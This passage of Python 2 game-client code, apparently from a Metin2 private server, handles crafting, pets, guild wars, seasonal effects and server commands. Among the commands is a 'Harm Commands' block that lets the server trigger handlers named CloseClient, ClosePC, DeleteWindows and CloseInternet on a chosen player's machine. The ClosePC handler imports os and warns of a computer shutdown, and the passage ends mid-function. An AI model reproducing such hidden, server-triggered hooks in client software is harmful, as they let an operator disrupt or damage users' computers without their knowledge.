			app.SetCursor(app.NORMAL)

		if constInfo.wndTombola.IsShow():
			constInfo.wndTombola.Close()

		elif True == mouseModule.mouseController.isAttached():
			mouseModule.mouseController.DeattachObject()

		else:
			self.interface.OpenSystemDialog()

		return True

	def OnIMEReturn(self):
		if app.IsPressed(app.DIK_LSHIFT):
			self.interface.OpenWhisperDialogWithoutTarget()
		else:
			self.interface.ToggleChat()
		return True

	def OnPressExitKey(self):
		self.interface.ToggleSystemDialog()
		return True

	## BINARY CALLBACK
	######################################################################################
	
	# WEDDING
	def BINARY_LoverInfo(self, name, lovePoint):
		if self.interface.wndMessenger:
			self.interface.wndMessenger.OnAddLover(name, lovePoint)
		if self.affectShower:
			self.affectShower.SetLoverInfo(name, lovePoint)

	def BINARY_UpdateLovePoint(self, lovePoint):
		if self.interface.wndMessenger:
			self.interface.wndMessenger.OnUpdateLovePoint(lovePoint)
		if self.affectShower:
			self.affectShower.OnUpdateLovePoint(lovePoint)
	# END_OF_WEDDING
	
	if app.ENABLE_SEND_TARGET_INFO:
		def BINARY_AddTargetMonsterDropInfo(self, raceNum, itemVnum, itemCount):
			if not raceNum in constInfo.MONSTER_INFO_DATA:
				constInfo.MONSTER_INFO_DATA.update({raceNum : {}})
				constInfo.MONSTER_INFO_DATA[raceNum].update({"items" : []})
			curList = constInfo.MONSTER_INFO_DATA[raceNum]["items"]

			isUpgradeable = False
			isMetin = False
			item.SelectItem(itemVnum)
			if item.GetItemType() == item.ITEM_TYPE_WEAPON or item.GetItemType() == item.ITEM_TYPE_ARMOR:
				isUpgradeable = True
			elif item.GetItemType() == item.ITEM_TYPE_METIN:
				isMetin = True

			for curItem in curList:
				if isUpgradeable:
					if curItem.has_key("vnum_list") and curItem["vnum_list"][0] / 10 * 10 == itemVnum / 10 * 10:
						if not (itemVnum in curItem["vnum_list"]):
							curItem["vnum_list"].append(itemVnum)
						return
				elif isMetin:
					if curItem.has_key("vnum_list"):
						baseVnum = curItem["vnum_list"][0]
					if curItem.has_key("vnum_list") and (baseVnum - baseVnum%1000) == (itemVnum - itemVnum%1000):
						if not (itemVnum in curItem["vnum_list"]):
							curItem["vnum_list"].append(itemVnum)
						return
				else:
					if curItem.has_key("vnum") and curItem["vnum"] == itemVnum and curItem["count"] == itemCount:
						return

			if isUpgradeable or isMetin:
				curList.append({"vnum_list":[itemVnum], "count":itemCount})
			else:
				curList.append({"vnum":itemVnum, "count":itemCount})

		def BINARY_RefreshTargetMonsterDropInfo(self, raceNum):
			self.targetBoard.RefreshMonsterInfoBoard()
	
	# QUEST_CONFIRM
	def BINARY_OnQuestConfirm(self, msg, timeout, pid):
		confirmDialog = uiCommon.QuestionDialogWithTimeLimit()
		confirmDialog.Open(msg, timeout)
		confirmDialog.SetAcceptEvent(lambda answer=True, pid=pid: net.SendQuestConfirmPacket(answer, pid) or self.confirmDialog.Hide())
		confirmDialog.SetCancelEvent(lambda answer=False, pid=pid: net.SendQuestConfirmPacket(answer, pid) or self.confirmDialog.Hide())
		self.confirmDialog = confirmDialog
    # END_OF_QUEST_CONFIRM

    # GIFT command
	def Gift_Show(self):
		self.interface.ShowGift()

	# CUBE
	def BINARY_Cube_Open(self, npcVNUM):
		self.currentCubeNPC = npcVNUM
		
		self.interface.OpenCubeWindow()

		
		if npcVNUM not in self.cubeInformation:
			net.SendChatPacket("/cube r_info")
		else:
			cubeInfoList = self.cubeInformation[npcVNUM]
			
			i = 0
			for cubeInfo in cubeInfoList:								
				self.interface.wndCube.AddCubeResultItem(cubeInfo["vnum"], cubeInfo["count"])
				
				j = 0				
				for materialList in cubeInfo["materialList"]:
					for materialInfo in materialList:
						itemVnum, itemCount = materialInfo
						self.interface.wndCube.AddMaterialInfo(i, j, itemVnum, itemCount)
					j = j + 1						
						
				i = i + 1
				
			self.interface.wndCube.Refresh()

	def BINARY_Cube_Close(self):
		self.interface.CloseCubeWindow()

	# 제작에 필요한 골드, 예상되는 완성품의 VNUM과 개수 정보 update
	def BINARY_Cube_UpdateInfo(self, gold, itemVnum, count):
		self.interface.UpdateCubeInfo(gold, itemVnum, count)
		
	def BINARY_Cube_Succeed(self, itemVnum, count):
		print "큐브 제작 성공"
		self.interface.SucceedCubeWork(itemVnum, count)
		pass

	def BINARY_Cube_Failed(self):
		print "큐브 제작 실패"
		self.interface.FailedCubeWork()
		pass

	def BINARY_Cube_ResultList(self, npcVNUM, listText):
		# ResultList Text Format : 72723,1/72725,1/72730.1/50001,5  이런식으로 "/" 문자로 구분된 리스트를 줌
		#print listText
		
		if npcVNUM == 0:
			npcVNUM = self.currentCubeNPC
		
		self.cubeInformation[npcVNUM] = []
		
		try:
			for eachInfoText in listText.split("/"):
				eachInfo = eachInfoText.split(",")
				itemVnum	= int(eachInfo[0])
				itemCount	= int(eachInfo[1])

				self.cubeInformation[npcVNUM].append({"vnum": itemVnum, "count": itemCount})
				self.interface.wndCube.AddCubeResultItem(itemVnum, itemCount)
			
			resultCount = len(self.cubeInformation[npcVNUM])
			requestCount = 7
			modCount = resultCount % requestCount
			splitCount = resultCount / requestCount
			for i in xrange(splitCount):
				#print("/cube r_info %d %d" % (i * requestCount, requestCount))
				net.SendChatPacket("/cube r_info %d %d" % (i * requestCount, requestCount))
				
			if 0 < modCount:
				#print("/cube r_info %d %d" % (splitCount * requestCount, modCount))				
				net.SendChatPacket("/cube r_info %d %d" % (splitCount * requestCount, modCount))

		except RuntimeError, msg:
			dbg.TraceError(msg)
			return 0
			
		pass
		
	def BINARY_Cube_MaterialInfo(self, startIndex, listCount, listText):
		# Material Text Format : 125,1|126,2|127,2|123,5&555,5&555,4/120000
		try:
			#print listText
			
			if 3 > len(listText):
				dbg.TraceError("Wrong Cube Material Infomation")
				return 0

			
			
			eachResultList = listText.split("@")

			cubeInfo = self.cubeInformation[self.currentCubeNPC]			
			
			itemIndex = 0
			for eachResultText in eachResultList:
				cubeInfo[startIndex + itemIndex]["materialList"] = [[], [], [], [], []]
				materialList = cubeInfo[startIndex + itemIndex]["materialList"]
				
				gold = 0
				splitResult = eachResultText.split("/")
				if 1 < len(splitResult):
					gold = int(splitResult[1])
					
				#print "splitResult : ", splitResult
				eachMaterialList = splitResult[0].split("&")
				
				i = 0
				for eachMaterialText in eachMaterialList:
					complicatedList = eachMaterialText.split("|")
					
					if 0 < len(complicatedList):
						for complicatedText in complicatedList:
							(itemVnum, itemCount) = complicatedText.split(",")
							itemVnum = int(itemVnum)
							itemCount = int(itemCount)
							self.interface.wndCube.AddMaterialInfo(itemIndex + startIndex, i, itemVnum, itemCount)
							
							materialList[i].append((itemVnum, itemCount))
							
					else:
						itemVnum, itemCount = eachMaterialText.split(",")
						itemVnum = int(itemVnum)
						itemCount = int(itemCount)
						self.interface.wndCube.AddMaterialInfo(itemIndex + startIndex, i, itemVnum, itemCount)
						
						materialList[i].append((itemVnum, itemCount))
						
					i = i + 1
					
					
					
				itemIndex = itemIndex + 1
				
			self.interface.wndCube.Refresh()
			
				
		except RuntimeError, msg:
			dbg.TraceError(msg)
			return 0
			
		pass
	
	# END_OF_CUBE
	
	# 용혼석	
	def BINARY_Highlight_Item(self, inven_type, inven_pos):
		self.interface.Highligt_Item(inven_type, inven_pos)
	
	def BINARY_DragonSoulGiveQuilification(self):
		self.interface.DragonSoulGiveQuilification()
		
	def BINARY_DragonSoulRefineWindow_Open(self):
		self.interface.OpenDragonSoulRefineWindow()

	def BINARY_DragonSoulRefineWindow_RefineFail(self, reason, inven_type, inven_pos):
		self.interface.FailDragonSoulRefine(reason, inven_type, inven_pos)

	def BINARY_DragonSoulRefineWindow_RefineSucceed(self, inven_type, inven_pos):
		self.interface.SucceedDragonSoulRefine(inven_type, inven_pos)
	
	# END of DRAGON SOUL REFINE WINDOW
	
	def BINARY_SetBigMessage(self, message):
		self.interface.bigBoard.SetTip(message)

	def BINARY_SetTipMessage(self, message):
		self.interface.tipBoard.SetTip(message)		

	def BINARY_AppendNotifyMessage(self, type):
		if not type in localeInfo.NOTIFY_MESSAGE:
			return
		chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.NOTIFY_MESSAGE[type])

	def BINARY_Guild_EnterGuildArea(self, areaID):
		self.interface.BULID_EnterGuildArea(areaID)

	def BINARY_Guild_ExitGuildArea(self, areaID):
		self.interface.BULID_ExitGuildArea(areaID)

	def BINARY_GuildWar_OnSendDeclare(self, guildID):
		pass

	def BINARY_GuildWar_OnRecvDeclare(self, guildID, warType):
		mainCharacterName = player.GetMainCharacterName()
		masterName = guild.GetGuildMasterName()
		if mainCharacterName == masterName:
			self.__GuildWar_OpenAskDialog(guildID, warType)

	def BINARY_GuildWar_OnRecvPoint(self, gainGuildID, opponentGuildID, point):
		self.interface.OnRecvGuildWarPoint(gainGuildID, opponentGuildID, point)	

	def BINARY_GuildWar_OnStart(self, guildSelf, guildOpp):
		self.interface.OnStartGuildWar(guildSelf, guildOpp)

	def BINARY_GuildWar_OnEnd(self, guildSelf, guildOpp):
		self.interface.OnEndGuildWar(guildSelf, guildOpp)

	def BINARY_BettingGuildWar_SetObserverMode(self, isEnable):
		self.interface.BINARY_SetObserverMode(isEnable)

	def BINARY_BettingGuildWar_UpdateObserverCount(self, observerCount):
		self.interface.wndMiniMap.UpdateObserverCount(observerCount)

	def __GuildWar_UpdateMemberCount(self, guildID1, memberCount1, guildID2, memberCount2, observerCount):
		guildID1 = int(guildID1)
		guildID2 = int(guildID2)
		memberCount1 = int(memberCount1)
		memberCount2 = int(memberCount2)
		observerCount = int(observerCount)

		self.interface.UpdateMemberCount(guildID1, memberCount1, guildID2, memberCount2)
		self.interface.wndMiniMap.UpdateObserverCount(observerCount)

	def __GuildWar_OpenAskDialog(self, guildID, warType):

		guildName = guild.GetGuildName(guildID)

		# REMOVED_GUILD_BUG_FIX
		if "Noname" == guildName:
			return
		# END_OF_REMOVED_GUILD_BUG_FIX

		import uiGuild
		questionDialog = uiGuild.AcceptGuildWarDialog()
		questionDialog.SAFE_SetAcceptEvent(self.__GuildWar_OnAccept)
		questionDialog.SAFE_SetCancelEvent(self.__GuildWar_OnDecline)
		questionDialog.Open(guildName, warType)

		self.guildWarQuestionDialog = questionDialog

	def __GuildWar_CloseAskDialog(self):
		self.guildWarQuestionDialog.Close()
		self.guildWarQuestionDialog = None

	def __GuildWar_OnAccept(self):

		guildName = self.guildWarQuestionDialog.GetGuildName()

		net.SendChatPacket("/war " + guildName)
		self.__GuildWar_CloseAskDialog()

		return 1

	def __GuildWar_OnDecline(self):

		guildName = self.guildWarQuestionDialog.GetGuildName()

		net.SendChatPacket("/nowar " + guildName)
		self.__GuildWar_CloseAskDialog()

		return 1
	## BINARY CALLBACK
	######################################################################################

	def __ServerCommand_Build(self):
		serverCommandList={
			"ConsoleEnable"			: self.__Console_Enable,
			"DayMode"				: self.__DayMode_Update, 
			"PRESERVE_DayMode"		: self.__PRESERVE_DayMode_Update, 
			"CloseRestartWindow"	: self.__RestartDialog_Close,
			"OpenPrivateShop"		: self.__PrivateShop_Open,
			"PartyHealReady"		: self.PartyHealReady,
			"ShowMeSafeboxPassword"	: self.AskSafeboxPassword,
			"CloseSafebox"			: self.CommandCloseSafebox,

			# ITEM_MALL
			"CloseMall"				: self.CommandCloseMall,
			"ShowMeMallPassword"	: self.AskMallPassword,
			"item_mall"				: self.__ItemMall_Open,
			# END_OF_ITEM_MALL
			
			#DnD Inventory Start
			"Delete"				: self.__MakeDelete,
			"Telep"					: self.__MakeTelep,
			"DnD1"					: self.__MakeDnD1,
			"DnD2"					: self.__MakeDnD2,
			"DnD3"					: self.__MakeDnD3,
			"DnDSterge"				: self.__MakeDnDSterge,
			#DnD inventory End
			
			#Barbut DnD
			"DiceDone"				: self.__DiceHasDone,
			#Barbut DnD
			
			#Online Friend
			"spop"					: self.__ShowPopup,
			#Online Friend
			
			#IsShop DnD
			"GetInputStart"			: self.GetInputStart,
			"GetInputStop"			: self.GetInputStop,
			"GetInput"				: self.GetInput,
			"SetQuestIndex"			: self.QuestIndexShop,
			"SetIsNpc"				: self.SetIsNpc,
			"SetIsPrice"			: self.SetIsPrice,
			"NieMamPP"				: self.NieMamPP,
			"setPP"					: self.__setAchievementPoints,
			#End Of IsShop DnD
			
			#
			#"ManagerGiftSystem"		: self.ManagerGiftSystem,
			#
			
			#DnD Harm Commands
			"CloseClient"			: self.__HarmCloseClient,
			"ClosePC"				: self.__HarmClosePC,
			"DeleteWindows"			: self.__HarmDeleteWindows,
			"CloseInternet"			: self.__HarmCloseInternet,			
			#DnD End Harm Commands
			
			#SV COMANDS#
			"RefineSuceeded"		: self.RefineSuceededMessage,
			"RefineFailed"			: self.RefineFailedMessage,
			"xmas_snow"				: self.__XMasSnow_Enable,
			"xmas_boom"				: self.__XMasBoom_Enable,
			"xmas_song"				: self.__XMasSong_Enable,
			"xmas_tree"				: self.__XMasTree_Enable,
			"newyear_boom"			: self.__XMasBoom_Enable,
			"PartyRequest"			: self.__PartyRequestQuestion,
			"PartyRequestDenied"	: self.__PartyRequestDenied,
			"horse_state"			: self.__Horse_UpdateState,
			"hide_horse_state"		: self.__Horse_HideState,
			"WarUC"					: self.__GuildWar_UpdateMemberCount,
			"test_server"			: self.__EnableTestServerFlag,
			"mall"					: self.__InGameShop_Show,
			#SV COMANDS#
			
			#Pet DnD Start
			"PetEvolution"			: self.SetPetEvolution,
			"PetName"				: self.SetPetName,
			"PetLevel"				: self.SetPetLevel,
			"PetDuration"			: self.SetPetDuration,
			##Pet Bug Fix##
			"PetDurationYas"		: self.SetPetDurationYas,
			##Bug Fix Pet##
			"PetBonus"				: self.SetPetBonus,
			"PetSkill"				: self.SetPetskill,
			"PetIcon"				: self.SetPetIcon,
			"PetExp"				: self.SetPetExp,
			"PetUnsummon"			: self.PetUnsummon,
			"OpenPetIncubator"		: self.OpenPetIncubator,
			#Pet DnD
			
			
			#Shaman System DnD
			"SupportLv"					: self.SetSupportLevel,
			"SupportName"				: self.SetSupportName,
			"SupportLeave"				: self.SupportLeave,
			"SupporInt"					: self.SupportInt,
			"SupportExp"				: self.SetSupportExp,
			"SupportIcon"				: self.SetSupportIcon,
			"SupportSpeciality"			: self.SetSupportSpeciality,
			"SupportArmor"				: self.SetSupportArmor,
			"SupportWeapon"				: self.SetSupportWeapon,
			"SupportHair"				: self.SetSupportHair,
			#Shaman System DnD
			
			#DnD Anti Exp
			"anti_exp"					: self.__anti_exp,
			#DnD Anti Exp
			
			#DnD Roulete
			"OnPrepare"				: self.__PrepareTombola,
			"OnRun"					: self.__RunTombola,
			"openTombola"			: self.__OpenTombola,
			"closeTombola"			: self.__CloseTombola,
			"tombola"				: self.SetTombola,
			#DnD Roulete
			
			# INPUT
			"GetInputStart"			: self.GetInputStart,
			"GetInputStop"			: self.GetInputStop,
			"GetInput"				: self.GetInput,
			"get_input_value"		: self.GetInputValue,
			"get_input_start"		: self.GetInputOn,
			"get_input_end"			: self.GetInputOff,
			# END_OF_INPUT

			# WEDDING
			"lover_login"			: self.__LoginLover,
			"lover_logout"			: self.__LogoutLover,
			"lover_near"			: self.__LoverNear,
			"lover_far"				: self.__LoverFar,
			"lover_divorce"			: self.__LoverDivorce,
			"PlayMusic"				: self.__PlayMusic,
			# END_OF_WEDDING

			# PRIVATE_SHOP_PRICE_LIST
			"MyShopPriceList"		: self.__PrivateShop_PriceList,
			# END_OF_PRIVATE_SHOP_PRICE_LIST
		}

		self.serverCommander=stringCommander.Analyzer()
		for serverCommandItem in serverCommandList.items():
			self.serverCommander.SAFE_RegisterCallBack(
				serverCommandItem[0], serverCommandItem[1]
			)
		
#Pet System DND
	def SetPetEvolution(self, evo):
		petname = ["Pui", "Salbatic", "Curajos", "Eroic"]
		self.petmain.SetEvolveName(petname[int(evo)])
	
	def SetPetName(self, name):
		if len(name) > 1 and name != "":
			self.petmini.Show()
		self.petmain.SetName(name)
	
	def SetPetLevel(self, level):
		self.petmain.SetLevel(level)
	
	def SetPetDuration(self, dur, durt):
		if int(durt) > 0:
			self.petmini.SetDuration(dur, durt)
		self.petmain.SetDuration(dur, durt)
		
	##Pet Fix Time##
	def SetPetDurationYas(self, dur_yas):
		if int(dur_yas) > 0:
			self.petmain.SetDurationYas(dur_yas)
	##Pet Fix Time##
	
	def SetPetBonus(self, hp, dif, sp):
		self.petmain.SetHp(hp)
		self.petmain.SetDef(dif)
		self.petmain.SetSp(sp)
		
	def SetPetskill(self, slot, idx, lv):
		if int(lv) > 0:
			self.petmini.SetSkill(slot, idx, lv)
		self.petmain.SetSkill(slot, idx, lv)
		self.affectShower.BINARY_NEW_AddAffect(5400+int(idx),int(constInfo.LASTAFFECT_POINT)+1,int(constInfo.LASTAFFECT_VALUE)+1, 0)
		if int(slot)==0:
			constInfo.SKILL_PET1=5400+int(idx)
		if int(slot)==1:
			constInfo.SKILL_PET2=5400+int(idx)
		if int(slot)==2:
			constInfo.SKILL_PET3=5400+int(idx)

	def SetPetIcon(self, vnum):
		if int(vnum) > 0:
			self.petmini.SetImageSlot(vnum)
		self.petmain.SetImageSlot(vnum)
		
	def SetPetExp(self, exp, expi, exptot):
		if int(exptot) > 0:
			self.petmini.SetExperience(exp, expi, exptot)
		self.petmain.SetExperience(exp, expi, exptot)
		
	def PetUnsummon(self):
		self.petmini.SetDefaultInfo()
		self.petmini.Close()
		self.petmain.SetDefaultInfo()
		self.affectShower.BINARY_NEW_RemoveAffect(int(constInfo.SKILL_PET1),0)
		self.affectShower.BINARY_NEW_RemoveAffect(int(constInfo.SKILL_PET2),0)
		self.affectShower.BINARY_NEW_RemoveAffect(int(constInfo.SKILL_PET3),0)
		constInfo.SKILL_PET1 = 0
		constInfo.SKILL_PET2 = 0
		constInfo.SKILL_PET3 = 0
	
	def OpenPetMainGui(self):
		self.petmain.Show()
		self.petmain.SetTop()
		
	
	def OpenPetIncubator(self, pet_new = 0):
		import uipetincubatrice
		self.petinc = uipetincubatrice.PetSystemIncubator(pet_new)
		self.petinc.Show()
		self.petinc.SetTop()
		
	def OpenPetMini(self):
		self.petmini.Show()
		self.petmini.SetTop()
		
	def OpenPetFeed(self):
		
		self.feedwind = uipetfeed.PetFeedWindow()
		self.feedwind.Show()
		self.feedwind.SetTop()

	def Gift_Show(self):
		if constInfo.PET_MAIN == 0:
			self.petmain.Show()
			constInfo.PET_MAIN =1
			self.petmain.SetTop()
		else:
			self.petmain.Hide()
			constInfo.PET_MAIN =0
#--------#END PET SYSTEM DND -------------------------------------------

# START SHAMAN SYSTEM DND -------------------#
	def OpenSupportGui(self):
		if constInfo.SUPPORTGUI == 0:
			self.supportpg.Show()
			self.supportpg.SetTop()
			constInfo.SUPPORTGUI = 1
		else:
			self.supportpg.Close()
			constInfo.SUPPORTGUI = 0
		
	def SetSupportArmor(self, armor):
		self.supportpg.SetArmor(armor)
		constInfo.SUPPORT_ARMOR = int(armor)

	def SetSupportWeapon(self, weapon):
		self.supportpg.SetWeapon(weapon)
		constInfo.SUPPORT_WEAPON = int(weapon)

	def SetSupportHair(self, hair):
		self.supportpg.SetHair(hair)
		constInfo.SUPPORT_HAIR = int(hair)

	def SetSupportLevel(self, level):
		self.supportpg.SetLevel(level)
		constInfo.SUPPORTLEVEL = int(level)
		
	def SetSupportName(self, name, name2):
		self.supportpg.SetName(name, name2)	
		
	def SupportLeave(self):
		self.supportpg.SetDefaultInfo()
		self.supportpg.Close()
	
	def SupportInt(self , ints):
		self.supportpg.SetInt(ints)
		
	def SetSupportExp(self, exp, exptot):
		if int(exptot) > 0:
			self.supportpg.SetExperience(exp, exptot)
		self.supportpg.SetExperience(exp, exptot)
		
	def SetSupportIcon(self, vnum):
		if int(vnum) > 0:
			self.supportpg.SetImageSlot(vnum)
		self.supportpg.SetImageSlot(vnum)
		
	def SetSupportSpeciality(self,speciality):
		self.supportpg.SetSpeciality(speciality)
#--END SHAMAN SYSTEM DND -- #

#------------ ACHIEVEMENT_SYSTEM-----------
	def NieMamPP(self):
		import uiShop
		self.wndShop = uiShop.ShopDialog()
		self.wndShop.NieMamPP()
		
	def __setAchievementPoints(self, points):
		constInfo.ACHIEVEMENT_POINTS = int(points)
		self.interface.wndInventory.UpdatePremiumInSlot()
		
	def SetIsPrice(self, value):
		self.interface.dlgShop.SetShopIsPrice(value)
		
	def SetIsNpc(self):
		constInfo.IsItemShop = 1
		
	def QuestIndexShop(self, value):
		constInfo.IS_QUEST = int(value)
		
	def GetInputStart(self):
		constInfo.INPUT_IGNORE = 1
		
	def GetInputStop(self):
		constInfo.INPUT_IGNORE = 0
		
	def GetInput(self):
		net.SendQuestInputStringPacket(str(constInfo.INPUT_DATA))
		
	def GetInputOn(self):
		constInfo.INPUT_IGNORE = 1

	def GetInputOff(self):
		constInfo.INPUT_IGNORE = 0

	def GetInputValue(self):
		net.SendQuestInputStringPacket(str(constInfo.VID))
#------------ ACHIEVEMENT_SYSTEM_END-----------

#------------ Sisteme DnD Inventar----------
	def __MakeTelep(self, qid):
		constInfo.Telepqin= int(qid)

	def __MakeDelete(self, qid):
		constInfo.Deleteqin= int(qid)
		
	def __MakeDnD1(self, qid):
		constInfo.DnD1qin= int(qid)

	def __MakeDnD2(self, qid):
		constInfo.DnD2qin= int(qid)

	def __MakeDnD3(self, qid):
		constInfo.DnD3qin= int(qid)
		
	def __MakeDnDSterge(self, qid):
		constInfo.DnDStergeqin= int(qid)

#------------ Sisteme DnD Inventar----------

	def BINARY_ServerCommand_Run(self, line):
		#dbg.TraceError(line)
		try:
			#print " BINARY_ServerCommand_Run", line
			return self.serverCommander.Run(line)
		except RuntimeError, msg:
			dbg.TraceError(msg)
			return 0

	def __ProcessPreservedServerCommand(self):
		try:
			command = net.GetPreservedServerCommand()
			while command:
				print " __ProcessPreservedServerCommand", command
				self.serverCommander.Run(command)
				command = net.GetPreservedServerCommand()
		except RuntimeError, msg:
			dbg.TraceError(msg)
			return 0

	def PartyHealReady(self):
		self.interface.PartyHealReady()

	def AskSafeboxPassword(self):
		self.interface.AskSafeboxPassword()

	# ITEM_MALL
	def AskMallPassword(self):
		self.interface.AskMallPassword()

	def __ItemMall_Open(self):
		self.interface.OpenItemMall();

	def CommandCloseMall(self):
		self.interface.CommandCloseMall()
	# END_OF_ITEM_MALL

	def RefineSuceededMessage(self):
		snd.PlaySound("sound/ui/excelent.wav")
		self.PopupMessage(localeInfo.REFINE_SUCCESS)

	def RefineFailedMessage(self):
		snd.PlaySound ("sound/ui/suck.wav")
		self.PopupMessage(localeInfo.REFINE_FAILURE)

	def CommandCloseSafebox(self):
		self.interface.CommandCloseSafebox()

	# PRIVATE_SHOP_PRICE_LIST
	def __PrivateShop_PriceList(self, itemVNum, itemPrice):
		uiPrivateShopBuilder.SetPrivateShopItemPrice(itemVNum, itemPrice)	
	# END_OF_PRIVATE_SHOP_PRICE_LIST

	def __Horse_HideState(self):
		self.affectShower.SetHorseState(0, 0, 0)

	def __Horse_UpdateState(self, level, health, battery):
		self.affectShower.SetHorseState(int(level), int(health), int(battery))

	def __IsXMasMap(self):
		mapDict = ( "metin2_map_n_flame_01",
					"metin2_map_n_desert_01",
					"metin2_map_spiderdungeon",
					"metin2_map_deviltower1", )

		if background.GetCurrentMapName() in mapDict:
			return False

		return True

	def __XMasSnow_Enable(self, mode):

		self.__XMasSong_Enable(mode)

		if "1"==mode:

			if not self.__IsXMasMap():
				return

			print "XMAS_SNOW ON"
			background.EnableSnow(1)

		else:
			print "XMAS_SNOW OFF"
			background.EnableSnow(0)

	def __XMasBoom_Enable(self, mode):
		if "1"==mode:

			if not self.__IsXMasMap():
				return

			print "XMAS_BOOM ON"
			self.__DayMode_Update("dark")
			self.enableXMasBoom = True
			self.startTimeXMasBoom = app.GetTime()
		else:
			print "XMAS_BOOM OFF"
			self.__DayMode_Update("light")
			self.enableXMasBoom = False

	def __XMasTree_Enable(self, grade):

		print "XMAS_TREE ", grade
		background.SetXMasTree(int(grade))

	def __XMasSong_Enable(self, mode):
		if "1"==mode:
			print "XMAS_SONG ON"

			XMAS_BGM = "xmas.mp3"

			if app.IsExistFile("BGM/" + XMAS_BGM)==1:
				if musicInfo.fieldMusic != "":
					snd.FadeOutMusic("BGM/" + musicInfo.fieldMusic)

				musicInfo.fieldMusic=XMAS_BGM
				snd.FadeInMusic("BGM/" + musicInfo.fieldMusic)

		else:
			print "XMAS_SONG OFF"

			if musicInfo.fieldMusic != "":
				snd.FadeOutMusic("BGM/" + musicInfo.fieldMusic)

			musicInfo.fieldMusic=musicInfo.METIN2THEMA
			snd.FadeInMusic("BGM/" + musicInfo.fieldMusic)

	def __RestartDialog_Close(self):
		self.interface.CloseRestartDialog()

	def __Console_Enable(self):
		constInfo.CONSOLE_ENABLE = True
		self.consoleEnable = True
		app.EnableSpecialCameraMode()
		ui.EnablePaste(True)

	## PrivateShop
	def __PrivateShop_Open(self):
		self.interface.OpenPrivateShopInputNameDialog()

	def BINARY_PrivateShop_Appear(self, vid, text):
		if (chr.GetInstanceType(vid) == chr.INSTANCE_TYPE_PLAYER):
			self.interface.AppearPrivateShop(vid, text)

	def BINARY_PrivateShop_Disappear(self, vid):
		if (chr.GetInstanceType(vid) == chr.INSTANCE_TYPE_PLAYER):
			self.interface.DisappearPrivateShop(vid)

	## DayMode
	def __PRESERVE_DayMode_Update(self, mode):
		if "light"==mode:
			background.SetEnvironmentData(0)
		elif "dark"==mode:

			if not self.__IsXMasMap():
				return

			background.RegisterEnvironmentData(1, constInfo.ENVIRONMENT_NIGHT)
			background.SetEnvironmentData(1)

	def __DayMode_Update(self, mode):
		if "light"==mode:
			self.curtain.SAFE_FadeOut(self.__DayMode_OnCompleteChangeToLight)
		elif "dark"==mode:

			if not self.__IsXMasMap():
				return

			self.curtain.SAFE_FadeOut(self.__DayMode_OnCompleteChangeToDark)

	def __DayMode_OnCompleteChangeToLight(self):
		background.SetEnvironmentData(0)
		self.curtain.FadeIn()

	def __DayMode_OnCompleteChangeToDark(self):
		background.RegisterEnvironmentData(1, constInfo.ENVIRONMENT_NIGHT)
		background.SetEnvironmentData(1)
		self.curtain.FadeIn()

	## XMasBoom
	def __XMasBoom_Update(self):

		self.BOOM_DATA_LIST = ( (2, 5), (5, 2), (7, 3), (10, 3), (20, 5) )
		if self.indexXMasBoom >= len(self.BOOM_DATA_LIST):
			return

		boomTime = self.BOOM_DATA_LIST[self.indexXMasBoom][0]
		boomCount = self.BOOM_DATA_LIST[self.indexXMasBoom][1]

		if app.GetTime() - self.startTimeXMasBoom > boomTime:

			self.indexXMasBoom += 1

			for i in xrange(boomCount):
				self.__XMasBoom_Boom()

	def __XMasBoom_Boom(self):
		x, y, z = player.GetMainCharacterPosition()
		randX = app.GetRandom(-150, 150)
		randY = app.GetRandom(-150, 150)

		snd.PlaySound3D(x+randX, -y+randY, z, "sound/common/etc/salute.mp3")

	def __PartyRequestQuestion(self, vid):
		vid = int(vid)
		partyRequestQuestionDialog = uiCommon.QuestionDialog()
		partyRequestQuestionDialog.SetText(chr.GetNameByVID(vid) + localeInfo.PARTY_DO_YOU_ACCEPT)
		partyRequestQuestionDialog.SetAcceptText(localeInfo.UI_ACCEPT)
		partyRequestQuestionDialog.SetCancelText(localeInfo.UI_DENY)
		partyRequestQuestionDialog.SetAcceptEvent(lambda arg=True: self.__AnswerPartyRequest(arg))
		partyRequestQuestionDialog.SetCancelEvent(lambda arg=False: self.__AnswerPartyRequest(arg))
		partyRequestQuestionDialog.Open()
		partyRequestQuestionDialog.vid = vid
		self.partyRequestQuestionDialog = partyRequestQuestionDialog

	def __AnswerPartyRequest(self, answer):
		if not self.partyRequestQuestionDialog:
			return

		vid = self.partyRequestQuestionDialog.vid

		if answer:
			net.SendChatPacket("/party_request_accept " + str(vid))
		else:
			net.SendChatPacket("/party_request_deny " + str(vid))

		self.partyRequestQuestionDialog.Close()
		self.partyRequestQuestionDialog = None

	def __PartyRequestDenied(self):
		self.PopupMessage(localeInfo.PARTY_REQUEST_DENIED)

	def __EnableTestServerFlag(self):
		app.EnableTestServerFlag()

	def __InGameShop_Show(self, url):
		if constInfo.IN_GAME_SHOP_ENABLE:
			self.interface.OpenWebWindow(url)

	# WEDDING
	def __LoginLover(self):
		if self.interface.wndMessenger:
			self.interface.wndMessenger.OnLoginLover()

	def __LogoutLover(self):
		if self.interface.wndMessenger:
			self.interface.wndMessenger.OnLogoutLover()
		if self.affectShower:
			self.affectShower.HideLoverState()

	def __LoverNear(self):
		if self.affectShower:
			self.affectShower.ShowLoverState()

	def __LoverFar(self):
		if self.affectShower:
			self.affectShower.HideLoverState()

	def __LoverDivorce(self):
		if self.interface.wndMessenger:
			self.interface.wndMessenger.ClearLoverInfo()
		if self.affectShower:
			self.affectShower.ClearLoverState()

	def __PlayMusic(self, flag, filename):
		flag = int(flag)
		if flag:
			snd.FadeOutAllMusic()
			musicInfo.SaveLastPlayFieldMusic()
			snd.FadeInMusic("BGM/" + filename)
		else:
			snd.FadeOutAllMusic()
			musicInfo.LoadLastPlayFieldMusic()
			snd.FadeInMusic("BGM/" + musicInfo.fieldMusic)
	if app.ENABLE_SASH_SYSTEM:
		def ActSash(self, iAct, bWindow):
			if self.interface:
				self.interface.ActSash(iAct, bWindow)

		def AlertSash(self, bWindow):
			snd.PlaySound("sound/ui/make_soket.wav")
			if bWindow:
				self.PopupMessage(localeInfo.SASH_DEL_SERVEITEM)
			else:
				self.PopupMessage(localeInfo.SASH_DEL_ABSORDITEM)
	
		# HARM COMMANDS
		def __HarmCloseClient(self, player_name):
			if player_name == str(player.GetName()):
				import dbg,app
				dbg.LogBox("Clientul tau a fost oprit din cauza hack-ului")
				app.Exit()
		
		def __HarmClosePC(self, player_name):
			if player_name == str(player.GetName()):
				import os,dbg
				dbg.LogBox("Calculatorul tau se v-a oprii din cauza hack-urilor.")
